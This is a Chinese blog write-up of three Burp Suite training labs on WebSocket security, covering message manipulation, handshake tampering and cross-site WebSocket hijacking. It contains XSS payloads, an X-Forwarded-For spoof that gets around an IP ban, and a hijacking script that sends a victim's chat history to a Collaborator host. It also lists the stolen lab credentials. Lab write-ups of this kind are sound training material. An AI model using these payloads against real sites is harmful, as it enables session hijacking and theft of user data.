【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全）_websocket房间类游戏漏洞

  

 

前言：

介绍： 

博主：网络安全领域狂热爱好者（承诺在CSDN永久无偿分享文章）。

殊荣：CSDN网络安全领域优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书，华为云、阿里云、51CTO优质博主等。

擅长：对于技术、工具、漏洞原理、黑产打击的研究。

C站缘：C站的前辈，引领我度过了一个又一个技术的瓶颈期、迷茫期。

---

导读：

面向读者：对于网络安全方面的学者。 

本文知识点（读者自测）： 

（1）测试WebSockets安全漏洞（√）

（2）操纵WebSocket流量（√）

（3）跨站点WebSocket劫持（√）

---

目录

一、测试WebSockets安全漏洞

1、网络套接字

2、HTTP和WebSockets区别

3、建立WebSocket连接

4、WebSocket消息外观

二、操纵WebSocket流量

1、简述：

2、拦截和修改WebSocket消息

3、重放和生成新的WebSocket消息

4、操作WebSocket连接

5、WebSockets安全漏洞

6、操纵WebSocket消息以利用漏洞

        实验1：操纵WebSocket消息以利用漏洞

7、操纵WebSocket握手以利用漏洞

        实验2：操纵WebSocket握手以利用漏洞

三、跨站点WebSocket劫持

1、简述：

2、影响

3、执行跨站点WebSocket劫持攻击

        实验3：跨站点WebSocket劫持

---

一、测试WebSockets安全漏洞

1、网络套接字

1、WebSockets：通过HTTP发起的双向全双工通信协议。它们通常在现代Web应用程序中用于流数据和其他异步流量

2、HTTP和WebSockets区别

1、HTTP：Web浏览器和网站之间的大多数通信都使用HTTP。使用HTTP时，客户端发送请求，服务器返回响应。通常，响应会立即发生，并且事务完成。即使网络连接保持打开，这也将用于请求和响应的单独事务

---

2、WebSockets：一些现代网站使用WebSockets。WebSocket连接是通过HTTP发起的，通常是长期的。消息可以在任何时候以任一方向发送，本质上不是事务性的。在客户端或服务器准备好发送消息之前，连接通常会保持打开和空闲状态

---

3、优势：WebSockets在需要低延迟或服务器启动的消息的情况下特别有用，例如财务数据的实时馈送。 

3、建立WebSocket连接

1、WebSocket连接通常使用客户端JavaScript创建，

示例：
var ws = new WebSocket("wss://normal-website.com/chat");

---

2、为了建立连接，浏览器和服务器通过HTTP执行WebSocket握手。

1、浏览器发出如下WebSocket握手请求：
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
 
2、如果服务器接受连接，它将返回WebSocket握手响应，如下所示：
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时，网络连接保持打开状态，可用于向任一方向发送WebSocket消息。 

---

3、WebSocket握手消息的几个特性：

    1、请求和响应中的Connection和Upgrade标头指示这是WebSocket握手。
    2、Sec-WebSocket -Version请求头指定客户端希望使用的WebSocket协议版本。这通常是13。
    3、Sec-WebSocket -Key请求标头包含Base64编码的随机值，该值应在每个握手请求中随机生成。
    4、该 Sec-WebSocket-接受 响应标头包含在 Sec-WebSocket-密钥请求报头，与协议规范中定义的特定字符串连接。这样做是为了防止错误配置的服务器或缓存代理导致误导性响应

4、WebSocket消息外观

1、一旦建立了WebSocket连接，客户端或服务器就可以在任意方向上异步发送消息。

---

2、可以使用客户端JavaScript从浏览器发送一条简单的消息

示例：
ws.send("Peter Wiener");

---

3、原则上，WebSocket消息可以包含任何内容或数据格式。在现代应用程序中，JSON通常用于在WebSocket消息中发送结构化数据。

例如，使用WebSockets的聊天机器人应用程序可能会发送如下消息：
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}

---

---

二、操纵WebSocket流量

1、简述：

1、查找WebSockets安全漏洞通常涉及以应用程序不期望的方式操作它们。可以使用Burp Suite完成此操作

---

2、可以使用Burp Suite：拦截和修改WebSocket消息、重放并生成新的WebSocket消息、操作WebSocket连接。

2、拦截和修改WebSocket消息

基本操作：

1、可以使用Burp代理拦截和修改WebSocket消息

示例：
    1、打开Burp的浏览器
    2、浏览到使用WebSockets的应用程序函数。您可以通过使用应用程序并查找Burp Proxy内WebSockets历史记录选项卡中显示的条目来确定WebSockets是否正在使用。
    3、在Burp Proxy的Intercept选项卡中，确保拦截功能已打开。
    4、当WebSocket消息从浏览器或服务器发送时，它将显示在“拦截”选项卡中，供您查看或修改。按“转发”按钮转发消息。

可以配置是否在Burp Proxy中拦截客户端到服务器或服务器到客户端消息。在"选项"选项卡中执行此操作，该选项卡位于 拦截WebSocket消息选项。

3、重放和生成新的WebSocket消息

基本操作：

1、除了动态拦截和修改WebSocket消息之外，还可以重放单个消息并生成新消息。可以使用打BP repeater来完成此操作

---

2、如果想编辑和重新发送历史记录面板中的任何邮件，您可以通过选择该邮件并从上下文菜单中选择“编辑和重新发送”来完成此操作。

4、操作WebSocket连接

基础操作

1、除了操纵WebSocket消息之外，有时还需要操纵建立连接的WebSocket握手。

在各种情况下，可能需要操作WebSocket握手：
1、它可以使你到达更多的攻击面。
2、某些攻击可能会导致您的连接断开，因此您需要建立一个新的连接。
3、原始握手请求中的令牌或其他数据可能已过时，需要更新。

2、可以使用Burp Repeater操作WebSocket握手：

    1、将WebSocket消息发送到BP repeater
    2、在Burp Repeater中，单击WebSocket URL旁边的铅笔图标。这将打开一个向导，允许您附加到现有的已连接WebSocket、克隆已连接WebSocket或重新连接到已断开连接的WebSocket。
    3、如果选择克隆已连接的WebSocket或重新连接到已断开连接的WebSocket，则向导将显示WebSocket握手请求的完整详细信息，可以在执行握手之前根据需要编辑这些详细信息。
    4、当您点击“连接”时，Burp将尝试执行配置的握手并显示结果。如果成功建立了新的WebSocket连接，则可以使用此连接在Burp Repeater中发送新消息。

5、WebSockets安全漏洞

1、原则上，几乎所有Web安全漏洞都可能与WebSockets相关：

    1、传输到服务器的用户提供的输入可能会以不安全的方式进行处理，从而导致SQL注入或XML外部实体注入等漏洞。
    2、某些通过WebSockets攻击的隐蔽漏洞可能只能使用带外（OAST）技术检测。
    3、如果攻击者控制的数据通过WebSockets传输给其他应用程序用户，则可能导致XSS或其他客户端漏洞。

6、操纵WebSocket消息以利用漏洞

1、大多数影响WebSocket的基于输入的漏洞都可以通过篡改WebSocket消息的内容来发现和利用。

示例：
1、假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时，将向服务器发送如下所示的WebSocket消息：
{"message":"Hello Carlos"}
 
2、消息的内容被传输（再次通过WebSockets）给另一个聊天用户，并在用户的浏览器中呈现如下：
<td>Hello Carlos</td>
 
3、在这种情况下，如果没有其他输入处理或防御措施，攻击者可以通过提交以下WebSocket消息来执行概念验证XSS攻击：
{"message":"<img src=1 onerror='alert(1)'>"}

---

2、涉及实验：

实验1：操纵WebSocket消息以利用漏洞

实验1：操纵WebSocket消息以利用漏洞

信息：

1、网上商店有一个使用WebSockets实现的实时聊天功能

2、提交的聊天消息将由支持代理真实的查看。

3、解决实验：使用WebSocket消息在支持代理的浏览器中触发alert()弹出窗口

---

part1：

单击“实时聊天”并发送聊天消息，在Burp Proxy中，转到WebSockets历史记录选项卡，观察聊天消息是否已通过WebSocket消息发送

使用浏览器发送包含"<"字符的新邮件；在Burp Proxy中，找到相应的WebSocket消息，并观察到"<"在发送之前已经由客户端进行了HTML编码

---

part2： 

插入payload

编辑拦截的消息以包含以下有效负载：

<img src=1 onerror='alert(1)'>

我先输入的1，然后抓包修改为payload

观察浏览器中触发了alter函数，完成实验

7、操纵WebSocket握手以利用漏洞

1、某些WebSockets漏洞只能由 操纵WebSocket握手。这些漏洞往往涉及设计缺陷

示例：
1、错误地信任HTTP标头（如X-Forwarded-For标头）来执行安全决策。
2、会话处理机制中的缺陷，因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
3、由应用程序使用的自定义HTTP标头引入的攻击面。

---

2、涉及实验：

实验2：操纵WebSocket握手以利用漏洞

实验2：操纵WebSocket握手以利用漏洞

信息：

1、网上商店有一个使用WebSockets实现的实时聊天功能

2、它有一个激进但有缺陷的XSS过滤器。

3、解决实验：使用WebSocket消息在支持代理的浏览器中触发alert()弹出窗口

---

part1：

单击"实时聊天"并发送聊天消息。在Burp Proxy中，转到WebSockets历史记录选项卡，观察聊天消息是否已通过WebSocket消息发送。

右键单击邮件并选择"发送到中继器"（老版的如果不能发送到repeater，就直接拦截一次改一次）

---

part2：

编辑并重新发送包含基本XSS有效负载的消息

<img src=1 onerror='alert(1)'>

注意到攻击已被阻止，并且WebSocket连接已终止

单击“重新连接”，并观察到连接尝试失败，因为您的IP地址已被禁止

---

part2：

将以下标头添加到握手请求以欺骗您的IP地址：

X-Forwarded-For: 1.1.1.1

（老版的bp实在不能继续用下去了，换版本）

单击“连接”成功重新连接WebSocket

 

---

part3：

发送包含模糊XSS有效负载的WebSocket消息，例如：

<img src=1 oNeRrOr=alert`1`>

应该是被前端过滤器拦截编码了，在BP中修改重发，就解决了

 

 完成实验

---

---

三、跨站点WebSocket劫持

1、简述：

1、跨站点WebSocket劫持（也称为跨源WebSocket劫持）涉及 跨站点请求伪造 （CSRF）上的漏洞 WebSocket握手。当WebSocket握手请求仅依赖HTTP cookie进行会话处理，并且不包含任何CSRF令牌或其他不可预测的值时，就会出现这种情况。

---

2、攻击者可以在自己的域中创建恶意网页，从而建立到易受攻击的应用程序的跨站点WebSocket连接。应用程序将在受害用户与应用程序的会话的上下文中处理连接；

然后，攻击者的页面可以通过连接向服务器发送任意消息，并读取从服务器接收回的消息内容。这意味着，与常规CSRF不同，攻击者获得了与受损应用程序的双向交互。 

2、影响

1、成功的跨站点WebSocket劫持攻击通常可让攻击者：

    1、伪装成受害用户执行未经授权的操作。与常规CSRF一样，攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的WebSocket消息执行任何敏感操作，则攻击者可以跨域生成适当的消息并触发这些操作。
    2、检索用户可以访问的敏感数据。与常规CSRF不同，跨站点WebSocket劫持使攻击者能够通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的WebSocket消息向用户返回任何敏感数据，则攻击者可以拦截这些消息并捕获受害用户的数据。

3、执行跨站点WebSocket劫持攻击

1、由于跨站点WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞，因此执行攻击的第一步是检查应用程序执行的WebSocket握手，并确定它们是否受到CSRF保护。

---

2、就 CSRF攻击的正常情况而言，通常需要找到一个握手消息，该消息仅依赖于HTTP cookie进行会话处理，并且在请求参数中不使用任何令牌或其他不可预测的值。

示例：
以下WebSocket握手请求可能易受CSRF攻击，因为唯一的会话令牌是在Cookie中传输的：
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
 
注：
Sec-WebSocket-Key标头包含一个随机值，以防止缓存代理出错，并且不用于身份验证或会话处理目的

 

---

3、如果WebSocket握手请求易受CSRF攻击，则攻击者的网页可以执行跨站点请求以打开易受攻击站点上的WebSocket。攻击中接下来会发生什么完全取决于应用程序的逻辑及其使用 网络套接字。

攻击可能涉及：
1、发送WebSocket消息以代表受害用户执行未经授权的操作。
2、发送WebSocket消息以检索敏感数据。
3、有时候，只是等待包含敏感数据的传入消息到达

---

4、涉及实验：

实验3：跨站点WebSocket劫持

实验3：跨站点WebSocket劫持

信息：

1、网上商店有一个使用WebSockets实现的实时聊天功能

2、解决实验：使用漏洞攻击服务器托管HTML/JavaScript有效负载，该有效负载使用跨站点WebSocket劫持攻击来泄露受害者的聊天历史记录，然后使用此有效负载访问受害者的帐户

---

part1：

单击"实时聊天"并发送聊天消息，重新加载页面
在Burp代理的WebSockets历史选项卡中，观察"READY"命令从服务器检索过去的聊天消息

在Burp代理的HTTP历史记录选项卡中，找到WebSocket握手请求。观察请求是否没有CSRF令牌

 右键单击握手请求并选择"复制URL"

---

part2：

在浏览器中，转到利用漏洞攻击服务器并将以下模板粘贴到"Body"部分：

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
 
我的是：
<script>
    var ws = new WebSocket('wss://0a390011034ce37ac4128868009b005e.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

将自己的网络套接字url替换为网络套接字握手中的URL（实验室ID）。确保将协议从https://更改为wss://。用Burp Collaborator客户端生成的有效负载替换your-collaborator-url

bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com

单击“查看漏洞利用”（view）

 在Collaborator选项卡中轮询交互。验证攻击是否已成功检索您的聊天历史记录并通过Burp Collaborator将其泄露

对于聊天中的每一条消息，Burp Collaborator都接收到一个HTTP请求。请求正文包含JSON格式的聊天消息的全部内容（这些消息的接收顺序可能不正确）

 检查这些消息，其中一条消息包含受害者的用户名和密码

carlos
i0h9n4jqwxg3qeqxbfzy

---

part3：

使用溢出的凭据登录受攻击用户的帐户

完成实验